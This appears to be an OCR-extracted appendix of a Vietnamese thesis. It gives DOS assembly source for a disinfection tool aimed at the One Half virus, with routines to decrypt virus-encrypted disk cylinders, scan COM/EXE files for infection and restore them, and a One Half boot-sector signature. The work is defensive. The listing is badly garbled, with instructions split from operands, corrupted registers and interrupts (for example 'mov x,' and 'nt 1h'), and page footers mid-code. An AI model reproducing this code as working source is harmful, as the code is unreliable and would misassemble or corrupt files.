push ax
mov bx,OFFSET _buff track
mov ax,word ptr [bx+2] ; Gia tri segment
mov es,ax
mov ax,word ptr [bx] ; Gia tri offset
mov bx,ax
pop ax
loc_loop_1:
dec si
call sub_4
push dx
loc_loop_2:
call Vi_tri_giai_ma
mov ah,2
push ax
int 13h
pop ax

171/233



www.nhipsongcongnghe.net

jc loi_dia_ma
call sub_ 38
Inc ah
push ax
int 13h
pop ax
jc loi_dia_ma
test dh,3Fh
jz loc_3
dec dh
jmp loc_loop_2
loc_3:
pop dx
cmp si,di
ja loc_loop_1
mov dx,OFFSET mess_giai_ma_xong
call write_screen
mov dx,OFFSET space
call write_screen
mov dx,OFFSET space
call write_screen
call xuong_dong
jmp loc_4
loi_dia_ma:
pop dx
mov dx,OFFSET mess_loi_dia
call write_screen
jmp loc_4
loi_partition:
mov dx,OFFSET mess_loi_partition
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call
loc_4:
pop
pop
pop
pop
ret

write_screen

di
si
es
ds

_giai_ma_oh endp

sub_4 proc

push
mov
mov
push
mov
shl
pop
mov
and
and
not
push
and
or
pop
shl
shl
and
or

pop

ax
ax,sl
ch,al
cX
cl4
ah,cl
cX
al,3Fh
dh,al
cl,al
al

ax
ah,al
dh,ah
ax
ah,1
ah,1
ah,al
cl,ah
ax
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ret
sub_4 endp
sub_38 proc

push ax

push bx

push CX

push dx

mov dx,value_ xor
loc_5:

mov ¢x,100h
loc_loop_6:

XOor word ptr es:[bx],dx

Inc bx

Inc bx

loop loc_loop_6

dec al

jnz loc_5

pop dx

pop cX

pop bx

pop ax

ret

sub_38 endp

lay_value_xor_oh proc

push ax
push bx
push CX
push dx
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push
mov
mov
mov
and
sub
mov
mov
mov
nt
mov
mov
pop
pop
pop
pop
pop
ret

es
ax,(@data

es,ax

ch,00h

cl,3Fh

cl,03h

dx,80h

ax,0201h

bx,OFFSET buff_temp
13h

ax,word ptr es:[bx+1D1h]
value_xor,ax

es

dx

cX

bx

ax

lay_value_xor_oh endp

lay_cylinder_max proc ; Lay tu bang phan chuong, dat
vao si
; Gi1a tr1 tra lai: ax=1: Lo1
push bx
push CX
push dx
mov bx,OFFSET mb_ktra
mov cx,4
add bx,1EEh ; bx tro vao pt cuoi trong bang phan
chuong

175/233



www.nhipsongcongnghe.net

loc_loop_23:

mov
cmp
je
cmp
jb
cmp
jbe

loc_24:
sub
loop
mov
jmp

loc_26:
mov
mov
call
mov

al,[bx+4]

al,1 ; FAT 12
loc_26

al,4 ; FAT 16
loc_24

al,6 ; BIG DOS
loc_26

bx,10h
loc_loop_23
ax,1

loc_27

cx,[bx+6] ; S_C cuoi
dh,[bx+1] ; Header dau
sub_16

ax,0
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loc_27:
pop dx
pop CX
pop bx
ret

lay_cylinder_max endp

sub_16 proc
shr cl,1
shr cl,1
and dh,0COh
or dh,cl
mov cl4
shr dh,cl
mov dl,ch
xchg s1,dx
ret

sub_16 endp

thong_bao_giai_ma proc ; ax=1 la dong y, ax=0 la khong

dong y
push dx
call xuong_dong
mov dx,OFFSET mess_giaimal
call write_screen
mov ax,di
call write_hex to dec
mov dx,OFFSET mess_giaima2
call write_screen
mov ax,sl
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dec
call
call
call
pop
ret

ax
write_hex to dec
xuong_dong

hoi

dx

thong_bao_giai_ma endp

Vi_tri_giai_ma proc

push
push
push
push
push
mov
call
mov
call
mov
call
pop
mov
Xor
call
mov
call
call
pop
pop
pop

ax
bx

cX

dx

dx

dx,OFFSET mess_vitri_giaimal
write_screen

ax,sl

write_hex to dec

dx,OFFSET mess_vitri_giaima2
write_screen

dx

al,dh

ah,ah

write_hex_to_dec

dx,OFFSET space

write_screen

ve_dau_dong

dx

cX

bx
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pop ax
ret

vi_tri_giai_ma endp

ockoskeockoskeosko sk sk sk skeosk sk sk sk sk sk sk sk sk sk

9

end
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FILE 4: TESTFILE

.model small

.data

MZ
PartPag
PageCnt
ReloCnt
HdrSize

equ 00h
equ 02h
equ 04h
equ 06h
equ O8h

MinMem equ 0Ah

MaxMem

ReloSS
ExeSP
ChkSum
ExelP
ReloCS
TablOff
Overlay

equ 0Ch

equ OEh
equ 10h
equ 12h
equ 14h
equ 16h
equ 18h
equ 1Ah

Header_ Size dw 0O

extrn _mota

extrn _duongdan : byte

extrn _tenfile
thuoc_tinh db 0O

buff dta

kich_thuoc

kich_thuoc_mo_rong dw 0

ma_hoa_file
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tang_ma_hoa_file dw 0

buff_1C db 1Ch dup(0) ; buff gom 1Ch byte.
buff_10 db 0Ah dup(0) ; buff gom 10 byte.
buff_temp db 120h dup(0)

mess_loi_mo db 'Khong mo duoc file nay !$'

mess_lo1_doc db 'Khong doc duoc file nay !$'
mess_loi_dong db 'Khong dong duoc file nay !$'

mess_bi_nhiem  db 'File nay da bi nhiem One Half! Se tien
hanh khoi phuc lai$'

mess_loi_khoi_phuc db 'Khong khoi phuc duoc !$'
mess_khoi_phuc_xong db 'Da khoi phuc xong !$'
space db' $
.code

extrn xuong_dong : proc

extrn ve_dau_dong : proc

extrn press_any_key  : proc

extrn hoi : proc

extrn write_screen : proc

public _test_file
_test_file proc

push ds

push es

mov ax,(@data

mov ds,ax

mov ah,2Fh

nt 21h ; lay dia chi DTA cua DOS, dat vao
ES:BX
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push

push
DOS.

mov
mov
int
mov
mov
mov

loc_loop_0:
mov
nt

es
bx ; Cat giu de cuoi cung phai tra lai cho

dx,OFFSET buff_dta

ah,1Ah

21h ; Dat DTA bat dau lam viec

bx,dx

dx,OFFSET _mota : Mo ta file tim kiem

¢Xx,0FFh ; Thuoc tinh file

ah,4Eh
21h ; Tim tap tin thoa man dau tien
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loc_loop_1:
jc
mov
push
and
cmp
pop
je
push
and
cmp
pop
jne
muc con
cmp
je
call
mo ta moi

add
push
mov
mov
nt
pop
jmp
moi
la_file:
call

call
man hinh

het _thu_muc

al,byte ptr [bx+15h]

ax

al,08h : Nhan dia

al,08h

ax

tim_tiep

ax

al,10h

al,10h ; co la thu muc con khong
ax

la_file ; Nhay neu khong phai la thu

byte ptr [bx+1Eh],".'
tim_tiep ; La cac thu muc dac biet
xd_mo_ta_t ; con neu la subdir thi xay dung

bx,2Bh : bx tro tot DTA moi

dx

dx,bx

ah,1Ah

21h

dx

loc_loop_0 ; Tim tap tin dau tien theo mo ta

lay_thuoc_tinh
in_ten_file ; In ten file tim duoc trong DTA ra
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jmp tim_tiep
het_thu_muc:
cmp bx,OFFSET buff dta
je ket thuc
call xd_mo_ta_l
sub bx,2Bh
push dx
mov dx,bx
mov ah,1Ah
nt 21h
pop dx
tim_tiep:
mov ah,4Fh
int 21h ; Tim tap tin ke tiep
jmp loc_loop_1
ket_thuc:
pop bx
pop es
mov dx,bx
push es
pop ds
mov ah,1Ah
nt 21h : Dat DTA lai vi tri cu
pop es
pop ds
ret

_test_file endp

xd_mo_ta_t proc
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; Noi tiep thu muc con vua tim duoc vao mo ta, bx dang
tro toi

; dau cua DTA dang chua ten thu muc con moi tim duoc.

push ax
push bx
push CX
push dx
push sl

push di

mov s1,OFFSET _mota
mov di,OFFSET _duongdan

loop_tang:
cmp byte ptr [si],"*'
je gan_them
inc sl
inc di
jmp loop_tang
gan_them:

add bx,1Eh
loop_gan_them:

mov dl,byte ptr [bx]

mov byte ptr [si],dl

mov byte ptr [di],dl

inc bx

inc sl

inc di

cmp byte ptr [bx],0
jne loop_gan_them
mov byte ptr [si],\

mov byte ptr [di],\
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mov byte ptr [di+1],0

mov byte ptr [si+1],"*'
mov byte ptr [si+2],".'

mov byte ptr [si+3],"*"
mov byte ptr [si+4],0

pop di

pop sl

pop dx

pop CX

pop bx

pop ax

ret

xd_mo_ta_t endp

xd_mo_ta_l proc
; Bo di thu muc con vua tim het vao mo ta, bx dang tro

toi

; dau cua DTA dang chua ten thu muc con moi tim duoc.
push ax
push bx
push CX
push dx
push sl
push di

mov s1,OFFSET _mota
mov di,OFFSET _duongdan

loop_tang_1:
cmp byte ptr [si],"*'
je dung_lai_1
inc si
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nc
jmp
dung_lai_1:
dec
dec
dec
dec
loop_giam_1:
cmp
je
dec
dec
jmp
gan_them_1:
mov
mov
mov
mov
mov
pop
pop
pop
pop
pop
pop
ret

di
loop_tang_1

s
S
di
di

byte ptr [si],\
gan_them_1
sl

di
loop_giam_1

byte ptr [di+1],0
byte ptr [si+1],"*"
byte ptr [si+2],".

byte ptr [si+3],"*"
byte ptr [si+4],0

di

sl

dx

CX

bx

ax

xd_mo_ta_l endp

in_ten_file proc

push

ax
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push bx
push CX
push dx
push sl
push di

mov si, OFFSET _duongdan

mov di,OFFSET _tenfile
lay_duong_dan:

cmp byte ptr [si],0

je xong_duong_dan

mov dl,byte ptr [si]

mov byte ptr [di],dl

inc s1
inc di
jmp lay_duong_dan
xong_duong_dan:
add bx,1Eh ; bx dang tro toi DTA hien thoi

lay_ten_file:
mov dl,byte ptr [bx]
mov byte ptr [di],dl

cmp dl,0

je xong_ten_file
Inc di

inc bx

jmp lay_ten_file

xong_ten_file:
mov bx,OFFSET _tenfile

loc_loop_2:
mov dl,byte ptr [bx]
cmp dl,0
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je
mov
nt
inc
jmp
het xau:
mov
call
call
mov
mov
and
cmp
je
call

het_xau
ah,02h

21h

bx
loc_loop_2

dx,OFFSET space
write_screen
ve_dau_dong
dx,OFFSET _tenfile
al,7

al,thuoc_tinh

al,0
khong_dat_thuoc_tinh
dat_thuoc_tinh_bt

khong_dat_thuoc_tinh:

call

mo_file_handle ; mo file dang xet theo che

do doc ghi,

loi
cmp
je
mov
tro file

mov
buff_1C

mov
int
jc
cmp

; the dat o bx, ax=1 neu co

ax, 1
mo_bi_loi
cx,1Ch ; doc 1C byte dau tien, tai vi tri con

dx,OFFSET buff 1C ; con tro file vao

ah,3Fh

21h

doc_bi_loi

ax,cx ; Khong du so byte can doc
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jb dong_file
mov s1,OFFSET buff 1C
cmp byte ptr [s1],0E9h

je loc_test file_ com ; Neu lenh dau tien la lenh
nhay E9

cmp word ptr [si],5A4Dh

je loc_test file exe

jmp dong_file  ; neu khong thi ket thuc
loc_test_file com:

call KT_FILE_COM

cmp ax,0

je dong_file  ; Khong bi nhiem nen dong file
lai

call com_da_bi_nhiem
jmp dong_file
loc_test file exe:

call KT_FILE_EXE
cmp ax,0
je dong_file  ; Khong bi nhiem nen dong file
lai
call exe_da_bi_nhiem
jmp dong_file
dong_file:
call dong_file_handle
cmp ax,1
je dong_bi_loi
jmp loc_kt
doc_bi_loi:
call thong_bao_loi_doc

jmp dong_file
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mo_bi_loi:
call thong_bao_loi_mo
jmp loc_kt
dong_bi_loi:
call thong_bao_loi_dong
jmp loc_kt
loc_kt:
mov al,7
and al,thuoc_tinh
cmp al,0
je khong_tra_thuoc_tinh
call tra_thuoc_tinh
khong_tra_thuoc_tinh:
pop di
pop sl
pop dx
pop cX
pop bx
pop ax
ret

in_ten_file endp

KT _FILE _COM PROC ; Kiem tra file not EXE (la file COM
hoac khac)

; Tra ve gia tri trong thanh ghi ax
: ax=1 neu bi nhiem One Half
; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi

loi
push es
push bx
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push CX
push dx
push sl
push di
mov dx,word ptr [si+1] ; Byte dau la lenh nhay thi
[si+1] la
; dia chi nhay
add dx,3 ; Cong them 3 byte cua lenh
nhay truoc
Xor ax,ax
mov es,ax
mov Header_ Size,ax
call test_oh_file
pop di
pop sl
pop dx
pop cX
pop bx
pop es
ret

KT_FILE_COM ENDP
;>l<>X<>l<>X<>l<>X<>l<>X<>l<>X<>l<>X<>l<>X<>l<>X<>l<>X<>l<>X<************************
KT_FILE_EXE PROC ; Kiem tra file .EXE

; Tra ve gia tri trong thanh ghi ax

; ax=1 neu b1 nhiem One Half

; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi

loi

push es
push bx
push CX
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push dx

push sl

push di

mov dx,word ptr [si+ExelP]
mov ax,word ptr [si+ReloCS]
mov es,ax

mov ax,word ptr [si+HdrSize]
mov cl4

shl ax,cl

mov Header_ Size,ax

call test_oh_file

pop di

pop sl

pop dx

pop cX

pop bx

pop es

ret

KT_FILE_EXE ENDP
;>I<>X<>I<>1<************************
xd_vt_file proc

: Xac dinh vi tr1 cua file .EXE can doc

; vol segment CS trong es,

; offset IP trong dx

; Gia tri tra lai trong cx:dx

push ax
mov ax,es
Xor CX,CX
clc

shl ax,1
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rcl cx,1

shl ax,1

rcl cx,1

shl ax, 1

rcl cx,1

shl ax, 1

rcl cx,1

add dx,ax

adc cx,0

add dx,Header_ Size
adc cx,0 ; cx:dx la v1 tr1 ma CS:IP bat dau thuc
hien lenh

and ¢x,000Fh

pop ax

ret

xd_vt_file endp

o 3 sfe sk st ke she sk sk s she sk sk sfe sk st sk sk sk st ske sk s st ske sk s sk s sle sl skeose sk sk
b

test_oh_file proc

mov cx,0Ah ; Doc 10 doan
loop_10_doan:
push CX
push dx
call xd_vt_file ; Segment trong es, offset trong
dx
call dat_tro_file ; Dich cx:dx byte tu vi tri dau
tep
mov cx,10
call doc_file_handle ; doc 10 byte vao buff_10
pop dx
pop cX

194/233



www.nhipsongcongnghe.net

cmp ax,0
je doc_co loi 1
cmp ax,10 ; doc khong du 10 byte
jb khong_co_vir_1 ; thi ket thuc va khong kiem
tra duoc
mov s1,OFFSET buff 10
mov di,s1
add di,0Ah
cmp cx,/
jne not_doan_4
loop_doan_4:
cmp byte ptr [si],0BFh ; lenh mov di,xxxx
je lay_kich_thuoc_1
cmp byte ptr [si],0BEh ; lenh mov si,xxxx
je lay_kich_thuoc_1
cmp byte ptr [s1],0B9h ; lenh mov cx,xxxx
je lay_kich_thuoc_1
cmp byte ptr [si],0BBh ; lenh mov bx,xxxx
je lay_kich_thuoc_1
cmp byte ptr [si],0BAh ; lenh mov dx,xxxx
je lay_kich_thuoc_1
cmp byte ptr [s1],0BDh ; lenh mov bp,xxxx
je lay_kich_thuoc_1
Inc si
Inc dx
cmp s1,di
jb loop_doan_4
not_doan_4:
cmp cx,6
jne not_doan_5
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loop_doan_5:
cmp byte ptr [si],0BFh ; lenh mov di,xxxx
je lay_ma_hoa_file
cmp byte ptr [si],0BEh ; lenh mov si,xxxx
je lay_ma_hoa_file
cmp byte ptr [s1],0B9h ; lenh mov cx,xxxx
je lay_ma_hoa_file
cmp byte ptr [si],0BBh ; lenh mov bx,xxxx
je lay_ma_hoa_file
cmp byte ptr [si],0BAh ; lenh mov dx,xxxx
je lay_ma_hoa_file
cmp byte ptr [s1],0BDh ; lenh mov bp,xxxx
je lay_ma_hoa_file
Inc si
Inc dx
cmp s1,di
jb loop_doan_5
jmp khong_co_vir

lap_lai_10_doan:
loop loop_10_doan

jmp CO_VIr
khong_co_vir_1:

jmp khong_co_vir
doc_co _loi 1:

jmp doc_co _loi

lay_kich_thuoc_1:
jmp lay_kich_thuoc

not_doan_>5:
cmp cx,4
jne not_doan_7
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loop_doan_7:
cmp
je
inc
nc
cmp
jb
jmp
not_doan_7:
cmp
jne
loop_doan_09:
cmp
je
Inc
inc
cmp
jb
jmp
not_doan_9:
cmp
jne

byte ptr [si],081h ; lenh add
lay_tang_ma_hoa_file

s

dx

s1,di

loop_doan_7

khong_co_vir

cX,2
not_doan_9

byte ptr [si],081h ; lenh cmp
lay_kich_thuoc_mo_rong

si

dx

s1,d1

loop_doan_9

khong_co_vir

cx,1
kiemtra_d
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loop_doan_10:

cmp byte ptr [s1],075h ; lenh jnz

je tang_2_byte

inc s

nc dx

cmp si,di

jb loop_doan_10

jmp khong_co_vir
lay_kich_thuoc:

mov ax,word ptr [si+1]

sub ax,100h

mov kich_thuoc,ax

jmp tang_3_byte
lay_ma_hoa_file:

mov ax,word ptr [si+1]

mov ma_hoa_file,ax

jmp tang_3_byte
lay_tang_ma_hoa_file:

Inc si

inc dx

mov ax,word ptr [si+1]

mov tang_ma_hoa_file,ax

jmp tang_3_byte
lay_kich_thuoc_mo_rong:

Inc si

Inc dx

mov ax,word ptr [si+1]

sub ax,100h

mov kich_thuoc_mo_rong,ax

jmp tang_3_byte
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tang_3_byte:
add
add
cmp
ja
jmp

tang_2_byte:
add
add
cmp
ja
jmp

kiemtra_d:
cmp
je
cmp
je
Inc
Inc
cmp
jb
jmp
E9,EB

s1,3

dx,3

si,di
khong_co_vir
kiemtra_d

s1,2

dx,2

s1,di
khong_co_vir
kiemtra_d

byte ptr [si],0E9h

doc_doan_tiep_e9

byte ptr [si],0EBh

doc_doan_tiep_eb

si

dx

s1,di

kiemtra_d

khong_co_vir ; neu khong co lenh nhay

doc_doan_tiep_e9:

add
add

jmp

dx,word ptr [si+1]
dx,3
lap_lai_10_doan

doc_doan_tiep_eb:

add
adc

dl,byte ptr [si+1]
dh,0

199/233



www.nhipsongcongnghe.net

add dx,2

cmp byte ptr [si+1],80h

jae giam_100

jmp lap_lai_10_doan
giam_100:

sub dx,100h

jmp lap_lai_10_doan
doc_co_loi:

call thong_bao_loi_doc
khong_co_vir:

mov ax,0 ; Coi nhu khong kiem tra duoc

jmp ket thuc_file
CO_VIr:

mov ax, 1

jmp ket_thuc_file
ket _thuc_file:

ret
test_oh_file endp
;>l<>1<>l<>1<>l<>1<>l<>1<>l<*************************

com_da_bi_nhiem proc

push ax
push dx
call xuong_dong

mov dx,OFFSET mess_bi_nhiem
mov ah,09h

int 21h

call xuong_dong
call hoi

cmp ax,1

jne kt_xu_ly_com
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call

kt_xu_ly_com:

pop
pop
ret

khoi_phuc_file_com

dx
ax

com_da_bi_nhiem endp

khoi_phuc_file_com proc

push
push
push
push
push
push
mov
XOr

call
virus

cmp
je

mov

cua virus.
mov
mov

nt

120h byte
jc

cmp

jb

mov

ax
bx

cX

dx

S

di

dx.kich_thuoc

CX,CX

dat_tro_file ; Dat tro file ve phan dau cua

ax, 1
khong_khoi_phuc_duoc
dx,OFFSET buff_temp ; buff luu phan dau

cx,120h
ah,3Fh
21h ; Doc phan dau cua virus oh gom

khong_khoi_phuc_duoc
ax,cx
khong_khoi_phuc_duoc
si, OFFSET buff_temp
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mov
dec
loop_giai_ma:
XOr
add
inc
loop
mov
mov

add
dau tien

add
mov

loop_thay_the_

push
push

mov
file COM

sub
COM

XOr
call
pop
pop
cmp
je
push

mov
tro file.

mov

dx,ma_hoa_file
cX

word ptr [si],dx

dx,tang_ma_hoa_file

si

loop_giai_ma

s1, OFFSET buff_temp

dx,si

dx,40h ; Offset cua du lieu tra lai cua doan

s1,2Ah ; Dia chi doan dau tien

cx,0Ah ; lap cho 10 doan

file:

cX

dx

dx,word ptr [si] ; Vi tri cua doan thay the voi

dx,100h ; lui lai 100 byte cua dau file

CX,CX
dat_tro_file

dx

cX

ax, 1

khong_khoi_phuc_duoc

cX

cx,0Ah ; Ghi 10 byte tu DS:DX vao vi tri con

ah,40h
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int 21h ; Ghi 10 byte tu DS:DX vao vi tri con
tro file

pop CX

inc sl

inc sl

add dx,0Ah
loop loop_thay_the_file
; duoi day thay 3 byte dau tien

XOr CX,CX
XOr dx,dx
call dat_tro_file

mov dx,OFFSET buff_temp
add dx,10h

mov cx,3
mov ah,40h
nt 21h
; Duoi day la cat file
mov x,kich_thuoc
XOr X,CX
call at_tro_file
mov x,0
mov h,40h
int 1h

jmp hoi_phuc_xong
khong_khoi_phuc_duoc:

mov x,OFFSET mess_loi_khoi_phuc

mov h,09h

nt 1h

jmp et_thuc_khoi_phuc
khoi_phuc_xong:
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mov x,OFFSET mess_khoi_phuc_xong
mov h,09h
nt 1h
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ket_thuc_khoi_phuc:

call xuong_dong
pop di

pop sl

pop dx

pop CX

pop bx

pop ax

ret

khoi_phuc_file_com endp

exe_da_bi_nhiem proc

push ax
push dx
call xuong_dong

mov dx,OFFSET mess_bi_nhiem
mov ah,09h

nt 21h

call xuong_dong

call hoi

cmp ax,1

jne kt_xu_ly_exe

call khoi_phuc_file_exe
kt_xu_ly_exe:

pop dx

pop ax

ret

exe_da_bi_nhiem endp
okockoskeoskeo sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk sk ok
9

khoi_phuc_file_exe proc
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push
push
push
push
push
push
push
mov

add
file com

mov
mov
mov
call

call
virus

cmp
je

mov

cua virus.
mov
mov

nt

120h byte
jc

cmp

jb

mov
mov

dec

es

ax

bx

cX

dx

si

di

dx.kich_thuoc

dx,100h ; 0 phan tren kt da tru 100h cua

s1,OFFSET buff 1C

ax,word ptr [si+ReloCS]

es,ax

xd_vt_file

dat_tro_file ; Dat tro file ve phan dau cua

ax, 1
khong_khoi_phuc_duoc_exe_1
dx,OFFSET buff_temp ; buff luu phan dau

cx,120h
ah,3Fh
21h ; Doc phan dau cua virus oh gom

khong_khoi_phuc_duoc_exe_1
ax,cx
khong_khoi_phuc_duoc_exe_1
si, OFFSET buff_temp
dx,ma_hoa_file

cX
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loop_giai_ma_exe:

XOor word ptr [si],dx

add dx,tang_ma_hoa_file

inc s

loop loop_giai_ma_exe

mov si, OFFSET buff_temp

mov dx,si

add dx,40h ; Offset cua du lieu tra lai cua doan
dau tien

add s1,2Ah ; Dia chi doan dau tien

mov cx,0Ah ; lap cho 10 doan
loop_thay_the_file_exe:

push CX

push dx

mov dx,word ptr [si] ; Vi tri cua doan thay the voi
file EXE

call xd_vt_file ; trong modul nay da duoc cong
them header

call dat_tro_file

pop dx

pop cX

cmp ax,l

je khong_khoi_phuc_duoc_exe_1

push CX

mov cx,0Ah ; Ghi 10 byte tu DS:DX vao vi tri
con tro file.

mov ah,40h

int 21h ; Ghi 10 byte tu DS:DX vao vi tri
con tro file
pop cX
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nc
Inc
add
loop

jmp

s

si

dx,0Ah
loop_thay_the_file_exe
xd_exe_ header

khong_khoi_phuc_duoc_exe_1:

Jmp

khong_khoi_phuc_duoc_exe
; Xay dung lai Exe Header

xd_exe_header:

mov
mov
mov
mov

ReloCount

mov
mov
mov
mov
mov
mov
mov

mov
ReloCS

sub
chiem

28h
add
cmp
jb

si, OFFSET buff_temp

di,OFFSET buff 1C

ax,word ptr [si+16h]

word ptr [di+ReloCnt],ax ; Lay lai

ax,word ptr [si+1eh]
word ptr [di+ReloSS],ax ; Lay lai ReloSS
ax,word ptr [si+20h]
word ptr [di+ExeSP],ax ; Lay lai ExeSP

ax,word ptr [si+24h]

word ptr [di+ExelP],ax ; Lay lai ExelP
ax,word ptr [si+26h]

word ptr [di+ReloCS],ax ; Lay lai

word ptr [di+PageCnt],7 ; Kich thuoc cua OH
; 7 trang, con thieu

word ptr [di+PartPag],28h
word ptr [di+PartPag],200h
ghi_exe_header
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sub
nc

word ptr [di+PartPag],200h
word ptr [di+PageChnt]

ghi_exe_header:

XOr
XOr
call
mov
mov
mov
nt

mov
add
call

call
virus

mov
mov
int

jmp

CX,CX
dx,dx

dat_tro_file

dx,OFFSET buff 1C

cx,1Ch

ah,40h

21h

; Duoi day la cat file

dx.kich_thuoc

dx,100h

xd_vt_file

dat_tro_file ; Dat tro file ve phan dau cua

cx,0
ah,40h
21h ; Cat file tai day

khoi_phuc_xong_exe

khong_khoi_phuc_duoc_exe:

mov
mov
nt

jmp

dx,OFFSET mess_loi_khoi_phuc
ah,0%h

21h

ket_thuc_khoi_phuc_exe

khoi_phuc_xong_exe:

mov
mov
int

dx,OFFSET mess_khoi_phuc_xong
ah,09h
21h

ket_thuc_khoi_phuc_exe:

209/233



www.nhipsongcongnghe.net

call xuong_dong
pop di

pop sl

pop dx

pop CcX

pop bx

pop ax

pop es

ret

khoi_phuc_file_exe endp

o 3 s s st ke sfe sk st ke she sk sk sk sk sk st s sk sk sk s sk sk sk ske sk stk sk sk stk sk
b

lay_thuoc_tinh proc

push CX

mov cl,byte ptr [bx+15h]
mov thuoc_tinh,cl

pop CX

ret

lay_thuoc_tinh endp

dat_thuoc_tinh_bt proc

push ax
push CX
push dx
XOr CX,CX

mov dx,OFFSET _tenfile
mov ax,4301h

int 21h
pop dx
pop CX
pop ax
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ret
dat_thuoc_tinh_bt endp

tra_thuoc_tinh proc

push ax

push CX

push dx

XOr ch,ch

mov cl,thuoc_tinh

mov dx,OFFSET _tenfile
mov ax,4301h

int 21h
pop dx
pop CX
pop ax
ret

tra_thuoc_tinh endp

mo_file_handle proc
: Mo file Handle cho tenfile, the file se dat vao bx
; return 0 neu khong co loi, nguoc lai 1 neu da co loi
clc
mov al,2 ; 0:de doc, 1 : ghi, 2: doc va ghi
mov ah,3Dh

int 21h

jc loi._mo_file

mov bx,ax ; Mo duoc thi chuyen filehandle tu ax
sang bx.

mov ax,0

jmp kt mo_file
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loi_mo_file:

mov ax, 1
kt mo_file:

ret
mo_file_handle endp

doc_file_handle proc

; Doc tu file handle, handle dat trong bx
; gom cx byte, doc vao buffer ds:dx
; ax=0 : loi doc file, ax>0 la so byte doc duoc

push dx

mov dx,OFFSET buff 10

mov ah,3Fh

int 21h

jc loi_doc_file

jmp kt doc_file
loi_doc_file:

mov ax,0
kt_doc_file:

pop dx

ret

doc_file_handle endp

dong_file_handle proc

; Dong file handle, handle dat trong bx

mov ah,3Eh

nt 21h
jc loi_dong_file
mov ax,0

jmp kt_dong_file
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loi_dong_file:

mov ax, 1
kt_dong_file:

ret
dong_file_handle endp
dat_tro_file proc

; Dat con tro file dich chuyen (cx*65536+dx) byte ke tu
vi tri dau file.

mov al,0

mov ah,42h

nt 21h

jc loi_dat_tro

mov ax,0

jmp kt dat_tro
loi_dat_tro:

mov ax, 1
kt dat_tro:

ret

dat_tro_file endp

thong_bao_loi_mo proc

push dx

call xuong_dong

mov dx,OFFSET mess_loi_mo
call write_screen

call press_any_key

call xuong_dong

pop dx

ret
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thong_bao_loi_mo endp

thong_bao_loi_doc proc

push dx

call xuong_dong

mov dx,OFFSET mess_loi_doc
call write_screen

call press_any_key

call xuong_dong

pop dx

ret

thong_bao_loi_doc endp

thong_bao_loi_dong proc

push dx

call xuong_dong

mov dx,OFFSET mess_loi_dong
call write_screen

call press_any_key

call xuong_dong

pop dx

ret

thong_bao_loi_dong endp
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FILE 5: LIB.ASM

.model small
.data
file_vmb

db 'VMB.DAT',0

mess_loi_tao_file db 'Not create file VMB.DAT!$'
mess_loi_dia_day db 'Dia day!$'

mess_hoi

ma_one_half

(bottom up)

Table

Count

.code

db 'Co dong y khong <Y/N>? : §'

db 00h,00h ; Offset

db 06h ; Length

db 33h,0DBh,0FAh

db OBCh,00h,7Ch ; Code Virus
db 04h dup(0) : Not used

db 00h : Head

db 00h ; Cylinder

db 07h ; Offset location sector

db 'One Half $' ; Virus name

dw 10000
dw 1000
dw 100
dw 10
dw 1

db 0

public xuong_dong
public ve_dau_dong
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public write_screen
public press_any_key
public hoi

public write_hex_to_dec
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xuong_dong proc

push
push
mov
mov
int
mov
mov
int
pop
pop
ret

ax

dx
dl,0Dh
ah,02h
21h
dl,0Ah
ah,02h
21h

dx

ax

xuong_dong endp

ve_dau_dong proc

push
push
mov
mov
int
pop
pop
ret

ax

dx
dl,0Dh
ah,02h
21h

dx

ax

ve_dau_dong endp

write_screen proc

push
mov
int
pop

ax
ah,0%h
21h

ax
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ret
write_screen endp
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press_any_key proc

push ax
mov ah,08h
int 21h
mov ah,0Bh
int 21h
cmp al,0FFh
jnz khong_con
mov ah,08h
int 21h
khong_con:
pop ax
ret

press_any_key endp
hoi proc
; Gia tri tra lai cua ham trong ax
; ax=1 la dong y, ax=0 la khong dong y

push dx

mov dx,OFFSET mess_hoi

call write_screen
loop_hoi:

mov ah,08h

int 21h

cmp al,’Y'

je dong_y

cmp al,'y'

je dong_y

cmp al,'N'

je khong_dong_y
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cmp al,'n’

je khong_dong_y

jmp loop_hoi
dong_y:

mov dl,al

mov ah,02h

int 21h

mov ax,1

jmp ket thuc hoi
khong_dong_y:

mov dl,al

mov ah,02h

int 21h

mov ax,0

jmp ket_thuc_hoi
ket_thuc_hot:

pop dx

call xuong_dong

ret
hoi endp

o s sk sk sk s s s sfe she sk sfe sk sk st st st st sk sk sk s sfe s she she sk sk s sk sl sk
b

tao_VMB_DAT proc
mov dx,OFFSET file_ vmb

mov cx,0

mov ah,3Ch

nt 21h : Tao file_vmb moi, handle dat o AX
jc loi_tao_file

mov bx,ax

mov dx,OFFSET ma_one half
mov cx,01Ah
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mov ah,40h

int 21h

cmp ax,cx

jb loi_dia_day
dong_file:

mov ah,03Eh

nt 21h

jmp kt tao file

loi_tao_file:
mov dx,OFFSET mess_loi_tao_file

call write_screen
call xuong_dong
jmp kt tao_file
loi_dia_day:
mov dx,OFFSET mess_loi_dia_day
call write_screen
call xuong_dong
jmp dong_file
kt tao_file:
ret

tao_VMB_DAT endp

write_hex_to_dec proc ; In gia tri trong ax ra duoi dang

decimal
push ax
push bx
push CX
push dx
XOr cl,cl
mov Count,cl
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mov cX,5
mov bx,OFFSET Table
cmp ax,0
ja Lcb
mov cx,1
add bx,8
jmp LO
Lcb:
cmp ax,word ptr [bx]
jae LO
add bx,2
dec cX
jmp Lcb
LO:
cmp ax,word ptr [bx]
jb L1
sub ax,word ptr [bx]
Inc Count
jmp LO
L1:
push ax
mov al,Count
add al,30h
mov ah,0Eh
int 10h
pop ax
mov Count,0
add bx,2
loop LO
pop dx
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pop CX
pop bx
pop ax
ret

write_hex_to_dec endp

223/233



www.nhipsongcongnghe.net

FILE 6: SCR.ASM

.model small

.data
.code

public _save_screen
public _store_screen

_Save_Sscreen proc

push
push
push
push
mov
mov
mov
mov
mov
mov
rep
pop
pop
pop
pop
ret

ds

es

S

di
ax,0B800h
ds,ax
es,ax
s1,0
di1,4096
cx,4000
movsb
di

si

es

ds

_save_screen endp

_Sstore_screen proc

push
push
push

ds
es
si
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push di

push CX

mov ax,0B800h
mov ds,ax
mov es,ax
mov $1,4096
mov di,0
mov ¢x,4000
rep movsb
pop cX

pop di

pop sl

pop es

pop ds

ret

_store_screen endp

TOM TAT LUAN AN

I. CO CHE TAC PONG CUA VIRUS ONE HALF.

